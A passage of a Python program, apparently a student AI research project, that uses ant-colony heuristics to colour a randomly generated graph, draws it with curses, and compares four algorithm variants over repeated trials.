if(i.color==node.color or node.color==0 or i.color==0):
localConflicts += 1
return localConflicts
# ##
# changeColorOfNode
# ##
#
# Randomly picks a new color for the specified node
#
def changeColorOfNode(node):
colorDifferent = False
while(colorDifferent==False):
newColor = random.randrange(1,4)
if(node.color==newColor):
pass
else:
node.color = newColor
colorDifferent = True
# ##
# moveAnt
# ##
#
# Randomly chooses a new location based on the neighboring nodes of the ant.
# Will not move into a node currently occupied by another ant.
#
def moveAnt(solution,ant):
moveDecision = random.randrange(0,self.randomMoveChance+self.pheromoneMoveChance)
if(moveDecision<=self.randomMoveChance):
neighboringNodes = []
neighboringNodes.extend(solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)].connectedNodeList)
nodesToRemove = []
for i in neighboringNodes: # builds a list of neighboring unoccupied nodes
for g in self.antList:
if(g.xCoord==i.xCoord and g.yCoord==i.yCoord):
nodesToRemove.append(i)
for eachNode in nodesToRemove:
try:
neighboringNodes.remove(eachNode)
except:
pass
if(neighboringNodes==[]): # surrounded by other ants, so stays in current place
pass
else: # goes to random node
nodeChoice = random.randrange(0,len(neighboringNodes))
ant.xCoord = neighboringNodes[nodeChoice].xCoord
ant.yCoord = neighboringNodes[nodeChoice].yCoord
else: # move to neighbor with highest amount of pheromones
neighboringNodes = []
neighboringNodes.extend(solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)].connectedNodeList)
removalList = []
for i in neighboringNodes: # builds a list of neighboring unoccupied nodes
for g in self.antList:
if(g.xCoord==i.xCoord and g.yCoord==i.yCoord):
removalList.append(i)
for i in removalList:
neighboringNodes.remove(i)
if(neighboringNodes==[]): # surrounded by other ants
pass
else: # goes to node with most pheromones, otherwise picks a random one
currentHighestNode = neighboringNodes[random.randrange(0,len(neighboringNodes))]
for i in neighboringNodes:
if(i.pheromoneConcentration>currentHighestNode.pheromoneConcentration):
currentHighestNode = i
ant.xCoord = currentHighestNode.xCoord
ant.yCoord = currentHighestNode.yCoord
# Initial ant setup
for ant in self.antList: # places each ant in a random and unique location in the graph
antLocationUnique = False
while(antLocationUnique==False):
randX = random.randrange(0,len(solution.nodeList))
randY = random.randrange(0,len(solution.nodeList[randX]))
testXCoord = solution.nodeList[randX][randY].xCoord
testYCoord = solution.nodeList[randX][randY].yCoord
antConflict = 0
for eachAnt in self.antList: # makes sure no other ant is currently occupied the chosen space
# otherwise, flags to not end the loop
if(eachAnt.xCoord==testXCoord and eachAnt.yCoord == testYCoord):
antConflict = 1
if(antConflict==0):
antLocationUnique = True
ant.xCoord = testXCoord
ant.yCoord = testYCoord
for yList in solution.nodeList:
for eachNode in yList:
eachNode.pheromoneConcentration = self.initialPheromoneQuantity
#
# SOLUTION MAIN LOOP
#
# Delay Values
#
# For delaying output for long enough between cycles to be visible to the human eye
#
# NOTICE: I am writing and testing this code on a laptop from 1999, and have less than 256mb of RAM.
# The delay will likely need to be adjusted for any other computer running this code.
#
# SEE GLOBAL VALUES AT TOP FOR FURTHER EXPLANATION (don't change these values, change the one at the top)
displayDelay = self.displayDelay
displayCounter = displayDelay
currentCycle = 1
cyclesToRun = self.numberOfCycles
solutionSolved = False
while(solutionSolved==False and cyclesToRun>0):
if(displayCounter>=displayDelay):
displayCounter = 0
# Decay all pheromones by some amount
for yList in solution.nodeList:
for eachNode in yList:
eachNode.pheromoneConcentration -= self.pheromoneDecayRate
# Display cycle number
cycleString = "Cycle Number: "+str(currentCycle)
outputWindow.addstr(0,0,cycleString)
stringLength = len(str(currentCycle))
outputWindow.addstr(0,14+stringLength,' ')
# Determines whether current solution is a solved state
if(solution.isSolutionState()==True):
solutionSolved = True
numOfConflictingNodes = determineNumOfConflictingNodes(solution)
for ant in self.antList:
# Determines whether current solution is a solved state
if(solution.isSolutionState()==True):
solutionSolved = True
# Finds the working node
currentNode = solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)]
# Determines the number of local conflicts (including whether nearby nodes are uncolored or not)
numOfLocalConflicts = determineNumOfLocalConflicts(currentNode)
# If there are no conflicts, decay the current node's pheromones by given rate
if(numOfLocalConflicts==0):
currentNode.pheromoneConcentration -= self.movementPheromoneDecay
else:
changeColorOfNode(currentNode)
# Adds pheromones proportional to the amount of conflicts around the current node
currentNode.pheromoneConcentration = numOfLocalConflicts * self.pheromoneStrength
# Process ant movement
moveAnt(solution,ant)
# Display output
solution.display(outputWindow)
solution.drawAnts(outputWindow,self.antList)
outputWindow.refresh()
# Iterate cycle counters
currentCycle += 1
cyclesToRun -= 1
else:
# Iterate display counter
displayCounter += 1
# Display output
solution.display(outputWindow)
solution.drawAnts(outputWindow,self.antList)
outputWindow.refresh()
return currentCycle
#
# AntColony Algorithm 4
#
# -Random and pheromone-based movement
#
# -Each node is filled with a given initial amount of pheromones, and pheromone level decays over time.
# -In addition, ant movement speeds up decay of pheromone levels in areas with no conflict
#
class AntColonyAlg4:
def __init__(self,solution,numberOfAnts,numberOfCycles,pheromoneStrength,initialPheromoneQuantity,pheromoneDecayRate,displayDelay,randomMoveChance,pheromoneMoveChance,movementPheromoneDecay): #Initialization of class variables
# if there are more ants than nodes, set number of ants to number of nodes
if(numberOfAnts>solution.numOfNodes):
numberOfAnts = solution.numOfNodes
self.numberOfAnts = numberOfAnts
self.numberOfCycles = numberOfCycles
self.initialPheromoneQuantity = initialPheromoneQuantity
self.pheromoneStrength = pheromoneStrength
self.pheromoneDecayRate = pheromoneDecayRate
self.movementPheromoneDecay = movementPheromoneDecay
self.randomMoveChance = 30
self.pheromoneMoveChance = 70
self.displayDelay = displayDelay
self.antList = []
for i in range(0,numberOfAnts): # Sets up initial ant list
newAnt = Ant()
self.antList.append(newAnt)
def solve(self,solution,outputWindow): # Main Solving Loop
# ##
# determineNumOfConflictingNodes
# ##
#
# Returns the number of overall conflicting nodes in the entire problem (not used in this algorithm)
#
def determineNumOfConflictingNodes(solution):
conflictingNum = 0
for yList in solution.nodeList:
for eachNode in yList:
for i in eachNode.connectedNodeList:
if(i.color==eachNode.color):
conflictingNum += 1
return conflictingNum
# ##
# determineNumOfLocalConflicts
# ##
#
# Returns the number of local color conflicts around the specificed node
#
def determineNumOfLocalConflicts(node):
localConflicts = 0
for i in node.connectedNodeList:
if(i.color==node.color or node.color==0 or i.color==0):
localConflicts += 1
return localConflicts
# ##
# changeColorOfNodeRandom
# ##
#
# Randomly changes the color of the current node
def changeColorOfNodeRandom(node):
colorDifferent = False
while(colorDifferent==False):
newColor = random.randrange(1,4)
if(node.color==newColor):
pass
else:
node.color = newColor
colorDifferent = True
# ##
# changeColorOfNode
# ##
#
# Changes the color of the current node depending on what would locally be best suited
def changeColorOfNode(node):
acceptableColor = False
while(acceptableColor==False):
neighboringNodes = []
neighboringNodes.extend(node.connectedNodeList)
possibleColors = [1,2,3]
for i in neighboringNodes:
for g in possibleColors:
if(i.color==g):
possibleColors.remove(g)
# If surrounded by all possible colors, just pick randomly because no local best is possible
if(possibleColors==[]):
changeColorOfNodeRandom(node)
acceptableColor = True
else:
# picks randomly from the locally acceptable colors
node.color = possibleColors[random.randrange(0,len(possibleColors))]
acceptableColor = True
# ##
# moveAnt
# ##
#
# Randomly chooses a new location based on the neighboring nodes of the ant.
# Will not move into a node currently occupied by another ant.
#
def moveAnt(solution,ant):
moveDecision = random.randrange(0,self.randomMoveChance+self.pheromoneMoveChance)
if(moveDecision<=self.randomMoveChance):
neighboringNodes = []
neighboringNodes.extend(solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)].connectedNodeList)
nodesToRemove = []
for i in neighboringNodes: # builds a list of neighboring unoccupied nodes
for g in self.antList:
if(g.xCoord==i.xCoord and g.yCoord==i.yCoord):
nodesToRemove.append(i)
for eachNode in nodesToRemove:
try:
neighboringNodes.remove(eachNode)
except:
pass
if(neighboringNodes==[]): # surrounded by other ants, so stays in current place
pass
else: # goes to random node
nodeChoice = random.randrange(0,len(neighboringNodes))
ant.xCoord = neighboringNodes[nodeChoice].xCoord
ant.yCoord = neighboringNodes[nodeChoice].yCoord
else: # move to neighbor with highest amount of pheromones
neighboringNodes = []
neighboringNodes.extend(solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)].connectedNodeList)
removalList = []
for i in neighboringNodes: # builds a list of neighboring unoccupied nodes
for g in self.antList:
if(g.xCoord==i.xCoord and g.yCoord==i.yCoord):
removalList.append(i)
for i in removalList:
neighboringNodes.remove(i)
if(neighboringNodes==[]): # surrounded by other ants
pass
else: # goes to node with most pheromones, otherwise picks a random one
currentHighestNode = neighboringNodes[random.randrange(0,len(neighboringNodes))]
for i in neighboringNodes:
if(i.pheromoneConcentration>currentHighestNode.pheromoneConcentration):
currentHighestNode = i
ant.xCoord = currentHighestNode.xCoord
ant.yCoord = currentHighestNode.yCoord
# Initial ant setup
for ant in self.antList: # places each ant in a random and unique location in the graph
antLocationUnique = False
while(antLocationUnique==False):
randX = random.randrange(0,len(solution.nodeList))
randY = random.randrange(0,len(solution.nodeList[randX]))
testXCoord = solution.nodeList[randX][randY].xCoord
testYCoord = solution.nodeList[randX][randY].yCoord
antConflict = 0
for eachAnt in self.antList: # makes sure no other ant is currently occupied the chosen space
# otherwise, flags to not end the loop
if(eachAnt.xCoord==testXCoord and eachAnt.yCoord == testYCoord):
antConflict = 1
if(antConflict==0):
antLocationUnique = True
ant.xCoord = testXCoord
ant.yCoord = testYCoord
for yList in solution.nodeList:
for eachNode in yList:
eachNode.pheromoneConcentration = self.initialPheromoneQuantity
#
# SOLUTION MAIN LOOP
#
# Delay Values
#
# For delaying output for long enough between cycles to be visible to the human eye
#
# NOTICE: I am writing and testing this code on a laptop from 1999, and have less than 256mb of RAM.
# The delay will likely need to be adjusted for any other computer running this code.
#
# SEE GLOBAL VALUES AT TOP FOR FURTHER EXPLANATION (don't change these values, change the one at the top)
displayDelay = self.displayDelay
displayCounter = displayDelay
currentCycle = 1
cyclesToRun = self.numberOfCycles
solutionSolved = False
while(solutionSolved==False and cyclesToRun>0):
if(displayCounter>=displayDelay):
displayCounter = 0
# Decay all pheromones by some amount
for yList in solution.nodeList:
for eachNode in yList:
eachNode.pheromoneConcentration -= self.pheromoneDecayRate
# Display cycle number
cycleString = "Cycle Number: "+str(currentCycle)
outputWindow.addstr(0,0,cycleString)
stringLength = len(str(currentCycle))
outputWindow.addstr(0,14+stringLength,' ')
# Determines whether current solution is a solved state
if(solution.isSolutionState()==True):
solutionSolved = True
numOfConflictingNodes = determineNumOfConflictingNodes(solution)
for ant in self.antList:
# Determines whether current solution is a solved state
if(solution.isSolutionState()==True):
solutionSolved = True
# Finds the working node
currentNode = solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)]
# Determines the number of local conflicts (including whether nearby nodes are uncolored or not)
numOfLocalConflicts = determineNumOfLocalConflicts(currentNode)
# If there are no conflicts, decay the current node's pheromones by given rate
if(numOfLocalConflicts==0):
currentNode.pheromoneConcentration -= self.movementPheromoneDecay
else:
changeColorOfNode(currentNode)
# Adds pheromones proportional to the amount of conflicts around the current node
currentNode.pheromoneConcentration = numOfLocalConflicts * self.pheromoneStrength
# Process ant movement
moveAnt(solution,ant)
# Display output
solution.display(outputWindow)
solution.drawAnts(outputWindow,self.antList)
outputWindow.refresh()
# Iterate cycle counters
currentCycle += 1
cyclesToRun -= 1
else:
# Iterate display counter
displayCounter += 1
# Display output
solution.display(outputWindow)
solution.drawAnts(outputWindow,self.antList)
outputWindow.refresh()
return currentCycle
# Individual node for use by GraphSolution class
class GraphNode:
def __init__(self,xCoord):
self.xCoord = xCoord
self.yCoord = 0
self.color = 0#random.randrange(1,4)
self.icon = '#'
self.removalFlag = False
self.connectedNodeList = []
self.pheromoneConcentration = 0
#
# GraphSolution Class
#
# ##
# Parameters:
# ##
#
# - numOfNodes: number of GraphNodes to generate in the solution set
# - window: curses window to output to
class GraphSolution:
def __init__(self,numOfNodes,window):
#
# Class Properties
#
self.nodeList = []
self.numOfNodes = numOfNodes
self.lastTier = 0
#
# Solution Setup
#
def connectNodes(node1,node2):
node1.connectedNodeList.append(node2)
node2.connectedNodeList.append(node1)
currentTier = 0
sameTierCounter = 1
nodeCounter = 0
currentTierList = []
for i in range(0,self.numOfNodes):
#newNode = GraphNode(currentTier)
#if(lastNode!=None):
#connectNodes(newNode,lastNode)
#newNode = GraphNode(currentTier)
#currentTierList.append(newNode)
tierIterChoice = random.randrange(0,100)
if((tierIterChoice>70 or sameTierCounter>=MAX_Y_VALUE_OF_GRAPH_NODE) and sameTierCounter>1):
currentTier += 6
sameTierCounter = 1
self.nodeList.append(currentTierList)
currentTierList = []
else:
sameTierCounter += 1
newNode = GraphNode(currentTier)
currentTierList.append(newNode)
self.nodeList.append(currentTierList)
self.lastTier = int((currentTier/6))#+1)
# Seperates out each node on the same X coordinate
# to different Y coordinates
checkTier = -1
checkTierCounter = 0
for g in self.nodeList:
for node in g:
if(checkTier!=node.xCoord):
checkTier = node.xCoord
checkTierCounter = 0
else:
checkTierCounter += 6
node.yCoord = checkTierCounter
for k in self.nodeList:
for node in k:
node.xCoord += 3
node.yCoord += 3
# Connect nodes to each other
#
nodelistCounter = 1
for j in self.nodeList:
for node in j:
if(nodelistCounter>=len(self.nodeList)):
pass
else:
for otherNode in self.nodeList[nodelistCounter]:
if(node.yCoord==otherNode.yCoord):
connectNodes(node,otherNode)
for nodeOnSameY in j:
if(nodeOnSameY.yCoord+6==node.yCoord):
connectNodes(nodeOnSameY,node)
nodelistCounter += 1
def display(self,window):
# An insane mess, but it works.
#
# Draws connections between each node and it's immediate neighbors in the 4 cardinal directions.
# Originally was intended in support all sorts of more nonlinear connections, but for the sake of
# simplicity, this was removed. There's still some elements of that left in however.
def drawConnectingLines(node1,node2):
def drawUntilTouching(node1,node2,yOffset,xOffset,icon,directionCode,diagonalCode):
notTouching = True
xIncrease = 0
yIncrease = 0
diagonalSwitchCounter = 0
while(notTouching==True):
#if(node1.yCoord+yOffset+yIncrease==node2.yCoord+1 and node1.xCoord+xOffset+xIncrease==node2.xCoord+1):
#notTouching = False
window.addch(node1.yCoord+yOffset+yIncrease,node1.xCoord+xOffset+xIncrease,icon)
if(directionCode==0):
if(node1.yCoord+yOffset+yIncrease==node2.yCoord+3 and diagonalCode != 1 or node1.yCoord+yOffset+yIncrease==node2.yCoord-1 or node1.yCoord+yOffset+yIncrease==node2.yCoord+1):
if(diagonalCode==0):
notTouching = False
elif(diagonalCode==1 and diagonalSwitchCounter>0):
notTouching = False
else:
diagonalSwitchCounter += 1
directionCode = 1
icon = '-'
if(xOffset<0):
xIncrease -= 1
else:
xIncrease += 1
else:
if(node1.yCoord+yOffset+yIncrease-1==node2.yCoord+1 and diagonalCode==1):
icon = '/'
if(yOffset<0):
yIncrease -= 1
else:
yIncrease += 1
elif(directionCode==1):
if(node1.xCoord+xOffset+xIncrease==node2.xCoord-1 or node1.xCoord+xOffset+xIncrease==node2.xCoord+3 and diagonalCode != 1 or node1.xCoord+xOffset+xIncrease==node2.xCoord+1):
if(diagonalCode==0):
notTouching = False
elif(diagonalCode==1 and diagonalSwitchCounter>0):
notTouching = False
else:
diagonalSwitchCounter += 1
directionCode = 0
icon = '|'
if(yOffset<0):
yIncrease -= 1
else:
yIncrease += 1
else:
if(xOffset<0):
xIncrease -= 1
else:
xIncrease += 1
if(node1.xCoord==node2.xCoord):
if(node1.yCoord>node2.yCoord):
drawUntilTouching(node1,node2,-1,1,'|',0,0)
elif(node1.yCoord<node2.yCoord):
drawUntilTouching(node1,node2,3,1,'|',0,0)
else:
window.addstr(20,21,'error in same X')
else:
if(node1.xCoord<node2.xCoord):
if(node1.yCoord==node2.yCoord):
drawUntilTouching(node1,node2,1,3,'-',1,0)
elif(node1.yCoord<node2.yCoord):
# window.addstr(0,0,'IT HAPPENED #1')
pass# drawUntilTouching(node1,node2,1,-2,'|',0,1)
elif(node1.yCoord>node2.yCoord):
window.addch(node1.yCoord+1,node1.xCoord+3,'-')
window.addch(node1.yCoord+1,node1.xCoord+4,'/')
window.addch(node1.yCoord,node1.xCoord+4,'|')
drawUntilTouching(node1,node2,-1,4,'|',0,1)
elif(node1.xCoord>node2.xCoord):
if(node1.yCoord==node2.yCoord):
drawUntilTouching(node1,node2,1,-1,'-',1,0)
elif(node1.yCoord<node2.yCoord):
pass # window.addstr(0,1,'IT HAPPENED #2')
elif(note1.yCoord>node2.yCoord):
pass# window.addstr(0,2,'IT HAPPENED #3')
else:
window.addstr(20,20,'error in not X')
for nodeList in self.nodeList:
for node in nodeList:
# draw 9 characters in a square to represent
# each node
window.attron(curses.color_pair(node.color))
window.addch(node.yCoord,node.xCoord,node.icon)
window.addch(node.yCoord+1,node.xCoord,node.icon)
window.addch(node.yCoord,node.xCoord+1,node.icon)
window.addch(node.yCoord+1,node.xCoord+1,node.icon)
window.addch(node.yCoord+2,node.xCoord,node.icon)
window.addch(node.yCoord+2,node.xCoord+1,node.icon)
window.addch(node.yCoord+2,node.xCoord+2,node.icon)
window.addch(node.yCoord+1,node.xCoord+2,node.icon)
window.addch(node.yCoord,node.xCoord+2,node.icon)
window.attroff(curses.color_pair(node.color))
for i in node.connectedNodeList:
drawConnectingLines(node,i)
## INFO OUTPUTS ##
# Number of Nodes
nodeCounter = 0
for xList in self.nodeList:
for yList in xList:
nodeCounter += 1
numOfNodesString = "Number of Nodes: "+str(nodeCounter)
window.addstr(40,0,numOfNodesString)
## DEBUG OUTPUTS ##
# window.addstr(20,20,str(self.nodeList[0].xCoord))
def drawAnts(self,window,antList):
for i in antList:
window.attron(curses.color_pair(4))
window.addch(i.yCoord+1,i.xCoord+1,'*')
window.attroff(curses.color_pair(4))
def isSolutionState(self):
solutionFailed = 0
for eachY in self.nodeList:
for eachNode in eachY:
for i in eachNode.connectedNodeList:
if(i.color==eachNode.color or i.color==0):
solutionFailed = 1
break
if(solutionFailed==1):
return False
else:
return True
def resetSolution(self):
for yList in self.nodeList:
for eachNode in yList:
eachNode.color = 0
eachNode.pheromoneConcentration = 0
# ##
# testAlg#
# ##
#
# These functions all do a single test of the given algorithm, with a provided graph and
# over the amount of trials inputted. They return the average number of cycles needed to find a solution.
def testAlg1(outputWindow,numOfTests,solution):
resultList = []
for i in range(0,numOfTests):
solution.resetSolution()
newAntColonyAlg1 = AntColonyAlg1(solution,NUM_OF_ANTS,NUM_OF_CYCLES,DISPLAY_DELAY)
currentResult = newAntColonyAlg1.solve(solution,outputWindow)
resultList.append(currentResult)
resultSum = 0
for i in resultList:
resultSum += i
outputWindow.clear()
resultSum = resultSum/len(resultList)
outputWindow.addstr(2,3,"Current trial's average cycles of Algorithm 1 over the same graph:")
outputWindow.addstr(3,3,str(resultSum))
outputWindow.addstr(5,3,"PRESS ANY KEY TO CONTINUE")
outputWindow.getch()
outputWindow.clear()
return resultSum
def testAlg2(outputWindow,numOfTests,solution):
resultList = []
for i in range(0,numOfTests):
solution.resetSolution()
newAntColonyAlg2 = AntColonyAlg2(solution,NUM_OF_ANTS,NUM_OF_CYCLES,PHEROMONE_STRENGTH,INITIAL_PHEROMONE_QUANTITY,PHEROMONE_DECAY_RATE,DISPLAY_DELAY,RANDOM_MOVE_CHANCE,PHEROMONE_MOVE_CHANCE)
currentResult = newAntColonyAlg2.solve(solution,outputWindow)
resultList.append(currentResult)
resultSum = 0
for i in resultList:
resultSum += i
outputWindow.clear()
resultSum = resultSum/len(resultList)
outputWindow.addstr(2,3,"Current trial's average cycles of Algorithm 2 over the same graph:")
outputWindow.addstr(3,3,str(resultSum))
outputWindow.addstr(5,3,"PRESS ANY KEY TO CONTINUE")
outputWindow.getch()
outputWindow.clear()
return resultSum
def testAlg3(outputWindow,numOfTests,solution):
resultList = []
for i in range(0,numOfTests):
solution.resetSolution()
newAntColonyAlg3 = AntColonyAlg3(solution,NUM_OF_ANTS,NUM_OF_CYCLES,PHEROMONE_STRENGTH,INITIAL_PHEROMONE_QUANTITY,PHEROMONE_DECAY_RATE,DISPLAY_DELAY,RANDOM_MOVE_CHANCE,PHEROMONE_MOVE_CHANCE,MOVEMENT_PHEROMONE_DECAY)
currentResult = newAntColonyAlg3.solve(solution,outputWindow)
resultList.append(currentResult)
resultSum = 0
for i in resultList:
resultSum += i
outputWindow.clear()
resultSum = resultSum/len(resultList)
outputWindow.addstr(2,3,"Current trial's average cycles of Algorithm 3 over the same graph:")
outputWindow.addstr(3,3,str(resultSum))
outputWindow.addstr(5,3,"PRESS ANY KEY TO CONTINUE")
outputWindow.getch()
outputWindow.clear()
return resultSum
def testAlg4(outputWindow,numOfTests,solution):
resultList = []
for i in range(0,numOfTests):
solution.resetSolution()
newAntColonyAlg4 = AntColonyAlg4(solution,NUM_OF_ANTS,NUM_OF_CYCLES,PHEROMONE_STRENGTH,INITIAL_PHEROMONE_QUANTITY,PHEROMONE_DECAY_RATE,DISPLAY_DELAY,RANDOM_MOVE_CHANCE,PHEROMONE_MOVE_CHANCE,MOVEMENT_PHEROMONE_DECAY)
currentResult = newAntColonyAlg4.solve(solution,outputWindow)
resultList.append(currentResult)
resultSum = 0
for i in resultList:
resultSum += i
outputWindow.clear()
resultSum = resultSum/len(resultList)
outputWindow.addstr(2,3,"Current trial's average cycles of Algorithm 4 over the same graph:")
outputWindow.addstr(3,3,str(resultSum))
outputWindow.addstr(5,3,"PRESS ANY KEY TO CONTINUE")
outputWindow.getch()
outputWindow.clear()
return resultSum
# ##
# comparativeTrialsOfAlgorithms
# ##
#
# Runs each algorithm against each other in several tests
#
# Each algorithm is tested 100 times on 3 different graphs, and the results
# are averaged together.
#
def comparativeTrialsOfAlgorithms(outputWindow):
outputWindow.addstr(3,3,"Comparative Trials")
outputWindow.addstr(4,3,"------------------")
outputWindow.addstr(5,3,"These tests will be measuring the efficiency of Algorithm 1, Algorithm 2, and Algorithm 3")
outputWindow.addstr(6,3,"on a graph whose layout will change between each trial. Each algorithm will be put through")
outputWindow.addstr(7,3,"three trials of 100 tests each. The details of the algorithms are below.")
outputWindow.addstr(10,3,"Algorithm 1")
outputWindow.addstr(11,3,"-----------")
outputWindow.addstr(12,3,"* Random movement of ants")
outputWindow.addstr(13,3,"* New color of each node is chosen randomly")
outputWindow.addstr(14,3,"* Aware of the amount of local conflicts of current node")
outputWindow.addstr(16,3,"Algorithm 2")
outputWindow.addstr(17,3,"-----------")
outputWindow.addstr(18,3,"* Pheromone-based and random movement of ants")
outputWindow.addstr(19,3,"* Pheromones are generated on the current node whenever a color is flipped")
outputWindow.addstr(20,3,"* New color of each node is chosen randomly")
outputWindow.addstr(21,3,"* Aware of the amount of local conflicts of current node")
outputWindow.addstr(22,3,"* Each node is given an initial pheromone level")
outputWindow.addstr(23,3,"* All pheromone levels decay over time")
outputWindow.addstr(25,3,"Algorithm 3")
outputWindow.addstr(26,3,"-----------")
outputWindow.addstr(27,3,"* Pheromone-based and random movement of ants")
outputWindow.addstr(28,3,"* Pheromones are generated on the current node whenever a color is flipped")
outputWindow.addstr(29,3,"* Pheromones are directly decayed each time an ant moves over a locally optimal node.")
outputWindow.addstr(30,3,"* New color of each node is chosen randomly")
outputWindow.addstr(31,3,"* Aware of the amount of local conflicts of current node")
outputWindow.addstr(32,3,"* Each node is given an initial pheromone level")
outputWindow.addstr(33,3,"* All pheromone levels decay over time")
outputWindow.addstr(35,3,"Algorithm 4")
outputWindow.addstr(36,3,"-----------")
outputWindow.addstr(37,3,"* Pheromone-based and random movement of ants")
outputWindow.addstr(38,3,"* Pheromones are generated on the current node whenever a color is flipped")
outputWindow.addstr(39,3,"* Pheromones are directly decayed each time an ant moves over a locally optimal node.")
outputWindow.addstr(40,3,"* New color of each node is chosen by determing the locally best color")
outputWindow.addstr(41,3,"* Aware of the amount of local conflicts of current node")
outputWindow.addstr(42,3,"* Each node is given an initial pheromone level")
outputWindow.addstr(43,3,"* All pheromone levels decay over time")
outputWindow.addstr(46,3,"PRESS ANY KEY TO BEGIN THE TESTS")
outputWindow.getch()
graphSolution1 = GraphSolution(NUM_OF_NODES_IN_GRAPH,stdscr)
outputWindow.addstr(10,10,"TRIAL 1 OF ALGORITHM 1")
outputWindow.clear()
outputWindow.refresh()
Alg1_Trial1 = testAlg1(stdscr,100,graphSolution1)
outputWindow.addstr(10,10,"TRIAL 1 OF ALGORITHM 2")
outputWindow.clear()
outputWindow.refresh()
Alg2_Trial1 = testAlg2(stdscr,100,graphSolution1)
outputWindow.addstr(10,10,"TRIAL 1 OF ALGORITHM 3")
outputWindow.clear()
outputWindow.refresh()
Alg3_Trial1 = testAlg3(stdscr,100,graphSolution1)
outputWindow.addstr(10,10,"TRIAL 1 OF ALGORITHM 4")
outputWindow.clear()
outputWindow.refresh()
Alg4_Trial1 = testAlg4(stdscr,100,graphSolution1)
graphSolution2 = GraphSolution(NUM_OF_NODES_IN_GRAPH,stdscr)
outputWindow.addstr(10,10,"TRIAL 2 OF ALGORITHM 1")
outputWindow.clear()
outputWindow.refresh()
Alg1_Trial2 = testAlg1(stdscr,100,graphSolution2)
outputWindow.addstr(10,10,"TRIAL 2 OF ALGORITHM 2")
outputWindow.clear()
outputWindow.refresh()
Alg2_Trial2 = testAlg2(stdscr,100,graphSolution2)
outputWindow.addstr(10,10,"TRIAL 2 OF ALGORITHM 3")
outputWindow.clear()
outputWindow.refresh()
Alg3_Trial2 = testAlg3(stdscr,100,graphSolution2)
outputWindow.addstr(10,10,"TRIAL 2 OF ALGORITHM 4")
outputWindow.clear()
outputWindow.refresh()
Alg4_Trial2 = testAlg4(stdscr,100,graphSolution2)
graphSolution3 = GraphSolution(NUM_OF_NODES_IN_GRAPH,stdscr)
outputWindow.addstr(10,10,"TRIAL 3 OF ALGORITHM 1")
outputWindow.clear()
outputWindow.refresh()
Alg1_Trial3 = testAlg1(stdscr,100,graphSolution3)
outputWindow.addstr(10,10,"TRIAL 3 OF ALGORITHM 2")
outputWindow.clear()
outputWindow.refresh()
Alg2_Trial3 = testAlg2(stdscr,100,graphSolution3)
outputWindow.addstr(10,10,"TRIAL 3 OF ALGORITHM 3")
outputWindow.clear()
outputWindow.refresh()
Alg3_Trial3 = testAlg3(stdscr,100,graphSolution3)
outputWindow.addstr(10,10,"TRIAL 3 OF ALGORITHM 4")
outputWindow.clear()
outputWindow.refresh()
Alg4_Trial3 = testAlg4(stdscr,100,graphSolution3)
outputWindow.clear()
outputWindow.refresh()
outputWindow.addstr(3,3,"FINAL RESULTS")
outputWindow.addstr(4,3,"-------------")
outputWindow.addstr(6,3,"Algorithm 1")
outputWindow.addstr(7,3,"-----------")
outputWindow.addstr(8,3,"Trial 1: ")
outputWindow.addstr(8,13,str(Alg1_Trial1))
outputWindow.addstr(9,3,"Trial 2: ")
outputWindow.addstr(9,13,str(Alg1_Trial2))
outputWindow.addstr(10,3,"Trial 3: ")
outputWindow.addstr(10,13,str(Alg1_Trial3))
outputWindow.addstr(12,3,"Average: ")
outputWindow.addstr(12,13,str(round(((Alg1_Trial1+Alg1_Trial2+Alg1_Trial3)/3),2)))
outputWindow.addstr(14,3,"Algorithm 2")
outputWindow.addstr(15,3,"-----------")
outputWindow.addstr(16,3,"Trial 1: ")
outputWindow.addstr(16,13,str(Alg2_Trial1))
outputWindow.addstr(17,3,"Trial 2: ")
outputWindow.addstr(17,13,str(Alg2_Trial2))
outputWindow.addstr(18,3,"Trial 3: ")
outputWindow.addstr(18,13,str(Alg2_Trial3))
outputWindow.addstr(20,3,"Average: ")
outputWindow.addstr(20,13,str(round(((Alg2_Trial1+Alg2_Trial2+Alg2_Trial3)/3),2)))
outputWindow.addstr(22,3,"Algorithm 3")
outputWindow.addstr(23,3,"-----------")
outputWindow.addstr(24,3,"Trial 1: ")
outputWindow.addstr(24,13,str(Alg3_Trial1))
outputWindow.addstr(25,3,"Trial 2: ")
outputWindow.addstr(25,13,str(Alg3_Trial2))
outputWindow.addstr(26,3,"Trial 3: ")
outputWindow.addstr(26,13,str(Alg3_Trial3))
outputWindow.addstr(28,3,"Average: ")
outputWindow.addstr(28,13,str(round(((Alg3_Trial1+Alg3_Trial2+Alg3_Trial3)/3),2)))
outputWindow.addstr(30,3,"Algorithm 4")
outputWindow.addstr(31,3,"-----------")
outputWindow.addstr(32,3,"Trial 1: ")
outputWindow.addstr(32,13,str(Alg4_Trial1))
outputWindow.addstr(33,3,"Trial 2: ")
outputWindow.addstr(33,13,str(Alg4_Trial2))
outputWindow.addstr(34,3,"Trial 3: ")
outputWindow.addstr(34,13,str(Alg4_Trial3))
outputWindow.addstr(36,3,"Average: ")
outputWindow.addstr(36,13,str(round(((Alg4_Trial1+Alg4_Trial2+Alg4_Trial3)/3),2)))
stdscr.getch()
stdscr.clear()
stdscr.refresh()
def printMainMenu(outputWindow):
outputWindow.addstr(3,3,"Artificial Intelligence Research Project")
outputWindow.addstr(4,3,"----------------------------------------")
outputWindow.addstr(6,3,"By James Clisham")
outputWindow.addstr(10,3,"Enter one of the following keys to make a selection: ")
outputWindow.addstr(12,5,"1 - Run a test of a single algorithm")
outputWindow.addstr(13,5,"2 - Comparative Analysis of all algorithms")
outputWindow.addstr(14,5,"3 - Exit the program")
def singleAlgTestMenu(outputWindow):
outputWindow.addstr(38,3,"Enter one of the following keys to make a selection: ")
outputWindow.addstr(40,3,"1 - Test Algorithm 1")
outputWindow.addstr(41,3,"2 - Test Algorithm 2")
outputWindow.addstr(42,3,"3 - Test Algorithm 3")
outputWindow.addstr(43,3,"4 - Test Algorithm 4")
outputWindow.addstr(44,3,"5 - Return to Main Menu")
outputWindow.addstr(3,3,"Algorithm 1")
outputWindow.addstr(4,3,"-----------")
outputWindow.addstr(5,3,"* Random movement of ants")
outputWindow.addstr(6,3,"* New color of each node is chosen randomly")
outputWindow.addstr(7,3,"* Aware of the amount of local conflicts of current node")
outputWindow.addstr(9,3,"Algorithm 2")
